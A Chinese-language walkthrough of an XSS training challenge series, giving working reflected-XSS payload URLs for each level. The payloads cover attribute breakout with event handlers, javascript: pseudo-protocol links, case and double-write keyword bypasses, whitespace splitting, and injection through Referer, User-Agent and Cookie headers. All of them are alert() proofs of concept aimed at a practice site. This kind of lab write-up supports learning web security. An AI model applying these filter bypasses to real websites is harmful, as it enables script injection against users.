http://test.xss.tv

http://47.94.13.75/test/

test on Firefox 54.0 (64-bit)

Level1

1
2
3
4
5
6
view-source:http://47.94.13.75/test/level1.php?name=test
<h2 align=center>欢迎用户test</h2>
直接在文本中输出用户提交的变量
http://47.94.13.75/test/level1.php?name=<script>alert()</script>

收获为HTML body添加标签

Level2

1
2
3
4
5
6
view-source:http://47.94.13.75/test/level2.php?keyword=test
<input name=keyword  value="test">
直接在标签属性中用户提交的变量
http://47.94.13.75/test/level2.php?keyword="><script>alert()</script>

收获闭合标签属性的双引号闭合标签并在标签外添加script标签

Level3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
view-source:http://47.94.13.75/test/level3.php?keyword=';!-"<findneo>={()}/\%26
<h2 align=center>没有找到和';!-&quot;&lt;findneo&gt;={()}/\&amp;相关的结果.</h2>
<input name=keyword  value='';!-&quot;&lt;findneo&gt;={()}/\&amp;'>

两处输出都对双引号尖括号和&进行了HTML实体编码但前面的单引号可以被闭合考虑使用input标签的某些事件执行脚本
自动聚焦到输入框打开就弹
http://47.94.13.75/test/level3.php?keyword=' onfocus='alert()' autofocus='
点击页面非输入框的任何地方以移开焦点
http://47.94.13.75/test/level3.php?keyword='  autofocus onblur='alert()
点击输入框
http://47.94.13.75/test/level3.php?keyword=' onfocus='alert()
http://47.94.13.75/test/level3.php?keyword='  onclick='alert()
在输入框输入
http://47.94.13.75/test/level3.php?keyword=' oninput='alert()
输入然后点击搜索
http://47.94.13.75/test/level3.php?keyword=' onchange='alert()
移动鼠标经过输入框
http://47.94.13.75/test/level3.php?keyword=' onmousemove='alert()
http://47.94.13.75/test/level3.php?keyword=' onmouseout='alert()
http://47.94.13.75/test/level3.php?keyword=' onmouseover='alert()
点击输入框进行按键操作
http://47.94.13.75/test/level3.php?keyword=' onkeydown='alert()
http://47.94.13.75/test/level3.php?keyword=' onkeyup='alert()
http://47.94.13.75/test/level3.php?keyword=' onkeypress='alert()
双击输入框
http://47.94.13.75/test/level3.php?keyword='  ondblclick='alert()

更多可用事件可以参考这里https://www.w3schools.com/tags/ref_eventattributes.asp

收获闭合标签属性的单引号并在标签中添加事件

Level4

1
2
3
4
5
6
7
8
9
view-source:http://47.94.13.75/test/level4.php?keyword=';!-"<findneo>={()}/\%26
<h2 align=center>没有找到和';!-&quot;&lt;findneo&gt;={()}/\&amp;相关的结果.</h2>
<input name=keyword  value="';!-"findneo={()}/\&">

在文本中编码了双引号尖括号和&在标签属性值中过滤了尖括号
把上一题payload的单引号换成双引号应该都可以用
http://47.94.13.75/test/level4.php?keyword=" onfocus='alert()' autofocus="

收获闭合标签属性的双引号并在标签中添加事件

Level5

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
view-source:http://47.94.13.75/test/level5.php?keyword=';!-"<findneo>={()}/\%26
<h2 align=center>没有找到和';!-&quot;&lt;findneo&gt;={()}/\&amp;相关的结果.</h2>
<input name=keyword  value="';!-"<findneo>={()}/\&">

在文本中编码了双引号尖括号和&标签属性值没有编码
进一步测试发现query会转成小写<scripton等敏感词会加下划线
看起来事件和script标签都不好使可以闭合原来的标签自己添加标签然后试着用用刚从书里学到的伪协议
点击findneo就能弹
http://47.94.13.75/test/level5.php?keyword="><a href="javascript:alert(1);">findneo</a>
做一下美化
http://47.94.13.75/test/level5.php?keyword=" type="hidden"/><a href="javascript:alert(1);">aa</a><input type="hidden
vbscript和dataURI似乎都不能奏效

收获利用JavaScript伪协议

Level6

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
http://47.94.13.75/test/level6.php?keyword=';!-"<findneo>={()}/\%26

<h2 align=center>没有找到和';!-findneo={()}/\相关的结果.</h2>

<input name=keyword  value="';!-"<findneo>={()}/\&">

在文本中编码了双引号尖括号和&标签值属性没有编码

进一步测试发现<script,on,href都被加下划线了但是没有做全部转小写的操作所以可以大小写绕过

http://47.94.13.75/test/level6.php?keyword="><Script>alert()</script>

收获大小写绕过敏感词检测

Level7

1
2
3
4
5
6
7
8
9
view-source:http://47.94.13.75/test/level7.php?keyword=';!-"<findneo>={()}/\%26
<h2 align=center>没有找到和';!-&quot;&lt;findneo&gt;={()}/\&amp;相关的结果.</h2>
<input name=keyword  value="';!-"<findneo>={()}/\&">

在文本中编码了双引号尖括号和&标签值属性没有编码
进一步测试发现on,script,href都被替换为空但只执行一次没有递归操作可以用关键字嵌套来绕过
http://47.94.13.75/test/level7.php?keyword="><soncript>alert()</soncript>

收获关键字嵌套双写绕过敏感词过滤

Level8

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
view-source:http://47.94.13.75/test/level8.php?keyword=';!-"<findneo>={()}/\%26
<input name=keyword  value="';!-&quot;&lt;findneo&gt;={()}/\&amp;">
<a href="';!-&quot<findneo>={()}/\&">友情链接</a>

input标签的value属性输出处编码了双引号尖括号和&a标签的href属性输出处编码了双引号
进一步测试发现数据都被转小写on,script,href,data等都被加下划线了
一番查找资料发现了可以通过JavaScript变换利用空白符如水平制表符HT换行符LF回车键CR来截断关键字的办法绕过
http://47.94.13.75/test/level8.php?keyword=javas%09cript:alert()
http://47.94.13.75/test/level8.php?keyword=javas%0acript:alert()
http://47.94.13.75/test/level8.php?keyword=javas%0dcript:alert()

可在http://wps2015.org/drops/drops/Bypass%20xss%E8%BF%87%E6%BB%A4%E7%9A%84%E6%B5%8B%E8%AF%95%E6%96%B9%E6%B3%95.html
页面内搜索JavaScript变换看到相关信息

收获空白符特殊的结束标识符绕过敏感词检测

Level9

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
view-source:http://47.94.13.75/test/level9.php?keyword=http://';!-"<finDneo>={()}/\&
<input name=keyword  value="http://';!-&quot;&lt;findneo&gt;={()}/\&amp;">
</center><center><BR><a href="http://';!-&quot<findneo>={()}/\&">友情链接</a>

输入数据全部转为小写,且必须协议正确,刚开始以为必须以“http://”开头,后来发现只要含有就可以了。
input标签的值编码了双引号、尖括号和&;href处编码了双括号。
从上一题稍作变化即可
http://47.94.13.75/test/level9.php?keyword=javas%09cript:alert('http://')

收获如果要检测URL协议应该检测协议名是否在字符串的开头

Level10

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
view-source:http://47.94.13.75/test/level10.php?keyword=';!-"<findneo>={()}/\%26
<h2 align=center>没有找到和';!-&quot;&lt;findneo&gt;={()}/\&amp;相关的结果.</h2>
只有一个输出点编码了双引号尖括号和&谷歌了很久都说这几乎是不可能成的。(If angle brackets and double quote characters are escaped, this is enough to prevent XSS in HTML body and double quoted entity value contexts.
无奈之下查了writeup发现自己观察能力需要提高显著的hidden就在眼皮底下竟然一点都没有注意到
有一个隐藏的表单如下
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>
可尝试其参数是否可能被注入
访问47.94.13.75/test/level10.php?keyword=asdf&t_link="&t_history="&t_sort="
会发现在相应中t_sort是可注入双引号的,于是可以构造链接弹窗。
http://47.94.13.75/test/level10.php?t_sort="  autofocus onfocus=alert() type="text

收获注意测试隐藏元素
这道题乍一看有些让人摸不着头脑但仔细想想觉得这在真实环境中是会发生的开发者利用隐藏的表单提交数据然后就默认这些数据是可靠的于是在忘记或者认为没必要在服务端做校验这就导致了代码的缺陷像本题的t_sort键就是个例子所以如果遇到hidden的元素可以测一测

Level11

1
2
3
4
5
6
7
8
9
test1:view-source:http://47.94.13.75/test/level11.php?keyword=&t_link="<xss>&t_history="<xss>&t_sort='<xss>&t_ref="<xss>
与上一题类似表单中多了一个t_ref但看起来只有t_sort可以注入
test2:view-source:http://47.94.13.75/test/level11.php?t_sort=';!-"<findneo>={()}/\%26
得到<input name="t_sort"  value="';!-&quot;&lt;findneo&gt;={()}/\&amp;" type="hidden">
对双引号尖括号和&进行了编码input标签中value属性的双引号难以逃逸
考虑莫名多出来的t_ref,猜测服务端是取请求头的referer值来返回于是截包添加请求头
referer: " autofocus onfocus=alert() type="text

收获寻找一些可能的可控的输入

Level12

1
2
3
4
view-source:http://47.94.13.75/test/level12.php?keyword=findneo
与上一题相似这题修改的是UA

收获User-Agent以及HTTP请求头的其他部分也是可控的输入

Level13

1
2
3
4
view-source:http://47.94.13.75/test/level13.php?keyword=findneo
与前面类似修改Cookie

收获Cookie以及HTTP请求头的其他部分也是可控的输入

Level16

1
2
3
4
5
6
http://47.94.13.75/test/level16.php
测试发现编码了/和空格
将后面内容注释掉使用无需闭合的标签使用特殊空白符代替空格即可
http://47.94.13.75/test/level16.php?keyword=findneo<img%0asrc=''%0aonerror=alert(1)><!--

收获注释符空白符